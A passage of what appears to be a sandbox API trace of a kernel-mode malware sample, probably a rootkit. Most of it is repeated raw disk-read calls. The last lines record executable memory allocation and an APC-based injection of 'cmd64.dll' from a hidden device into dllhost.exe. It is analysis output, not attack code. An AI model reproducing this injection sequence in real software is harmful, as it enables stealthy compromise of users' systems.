MemoryDescriptorList=0xfffffa80037baa70) [0086.921] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.921] IdePortDispatch () returned 0x103 [0086.921] KeWaitForMutexObject () returned 0x0 [0086.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.921] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.921] IdePortDispatch () returned 0x103 [0086.921] KeWaitForMutexObject () returned 0x0 [0086.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.921] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.921] IdePortDispatch () returned 0x103 [0086.922] KeWaitForMutexObject () returned 0x0 [0086.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.922] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.922] IdePortDispatch () returned 0x103 [0086.922] KeWaitForMutexObject () returned 0x0 [0086.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.922] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.922] IdePortDispatch () returned 0x103 [0086.922] KeWaitForMutexObject () returned 0x0 [0086.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.922] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.922] IdePortDispatch () returned 0x103 [0086.922] KeWaitForMutexObject () returned 0x0 [0086.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.923] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.923] IdePortDispatch () returned 0x103 [0086.923] KeWaitForMutexObject () returned 0x0 [0086.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.923] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.923] IdePortDispatch () returned 0x103 [0086.923] KeWaitForMutexObject () returned 0x0 [0086.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.923] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.923] IdePortDispatch () returned 0x103 [0086.923] KeWaitForMutexObject () returned 0x0 [0086.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.924] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.924] IdePortDispatch () returned 0x103 [0086.924] KeWaitForMutexObject () returned 0x0 [0086.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.924] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.924] IdePortDispatch () returned 0x103 [0086.924] KeWaitForMutexObject () returned 0x0 [0086.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.924] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.924] IdePortDispatch () returned 0x103 [0086.924] KeWaitForMutexObject () returned 0x0 [0086.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.925] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.925] IdePortDispatch () returned 0x103 [0086.925] KeWaitForMutexObject () returned 0x0 [0086.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.925] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.925] IdePortDispatch () returned 0x103 [0086.925] KeWaitForMutexObject () returned 0x0 [0086.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.925] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.925] IdePortDispatch () returned 0x103 [0086.925] KeWaitForMutexObject () returned 0x0 [0086.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.926] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.926] IdePortDispatch () returned 0x103 [0086.926] KeWaitForMutexObject () returned 0x0 [0086.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.926] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.926] IdePortDispatch () returned 0x103 [0086.926] KeWaitForMutexObject () returned 0x0 [0086.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.926] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.926] IdePortDispatch () returned 0x103 [0086.926] KeWaitForMutexObject () returned 0x0 [0086.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.927] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.927] IdePortDispatch () returned 0x103 [0086.927] KeWaitForMutexObject () returned 0x0 [0086.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.927] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.927] IdePortDispatch () returned 0x103 [0086.927] KeWaitForMutexObject () returned 0x0 [0086.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.927] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.927] IdePortDispatch () returned 0x103 [0086.928] KeWaitForMutexObject () returned 0x0 [0086.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.928] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.928] IdePortDispatch () returned 0x103 [0086.928] KeWaitForMutexObject () returned 0x0 [0086.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.928] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.928] IdePortDispatch () returned 0x103 [0086.928] KeWaitForMutexObject () returned 0x0 [0086.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.928] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.928] IdePortDispatch () returned 0x103 [0086.928] KeWaitForMutexObject () returned 0x0 [0086.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.929] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.929] IdePortDispatch () returned 0x103 [0086.929] KeWaitForMutexObject () returned 0x0 [0086.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.929] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.929] IdePortDispatch () returned 0x103 [0086.929] KeWaitForMutexObject () returned 0x0 [0086.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.929] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.929] IdePortDispatch () returned 0x103 [0086.929] KeWaitForMutexObject () returned 0x0 [0086.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.930] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.930] IdePortDispatch () returned 0x103 [0086.930] KeWaitForMutexObject () returned 0x0 [0086.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.930] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.930] IdePortDispatch () returned 0x103 [0086.930] KeWaitForMutexObject () returned 0x0 [0086.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.930] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.930] IdePortDispatch () returned 0x103 [0086.930] KeWaitForMutexObject () returned 0x0 [0086.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.930] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.930] IdePortDispatch () returned 0x103 [0086.933] KeWaitForMutexObject () returned 0x0 [0086.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.933] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.933] IdePortDispatch () returned 0x103 [0086.933] KeWaitForMutexObject () returned 0x0 [0086.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.934] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.934] IdePortDispatch () returned 0x103 [0086.934] KeWaitForMutexObject () returned 0x0 [0086.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.934] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.934] IdePortDispatch () returned 0x103 [0086.934] KeWaitForMutexObject () returned 0x0 [0086.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.934] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.934] IdePortDispatch () returned 0x103 [0086.934] KeWaitForMutexObject () returned 0x0 [0086.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.935] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0086.935] IdePortDispatch () returned 0x103 [0086.935] KeWaitForMutexObject () returned 0x0 [0086.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.935] KeLeaveCriticalRegion () [0086.935] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.935] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004b4, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0086.935] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0086.935] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0086.935] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004b4, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x140000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0086.935] _snprintf (in: _Dest=0x140020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0086.935] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036e8b90 [0086.935] KeInitializeApc (Apc=0xfffffa80036e8b90, Thread=0xfffffa80037ceb60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x140128, Mode=0xfffff88000000001, Context=0x140000) [0086.935] KeInsertQueueApc (Apc=0xfffffa80036e8b90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0086.935] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0086.936] ZwClose (Handle=0x14) returned 0x0 [0086.936] ZwClose (Handle=0xffffffff800004b0) returned 0x0 [0086.936] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0086.936] KeEnterCriticalRegion () [0086.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.936] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0086.936] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8008136e50, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0086.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.936] KeLeaveCriticalRegion () [0086.936] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.936] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0086.936] PsGetProcessImageFileName () returned 0xfffffa80037d0e10 [0086.936] _snprintf (in: _Dest=0xfffffa80037ce9e8, _Count=0x103, _Format="%s (x64)" | out: _Dest="dllhost.exe (x64)") returned 17 [0086.936] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0086.936] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: 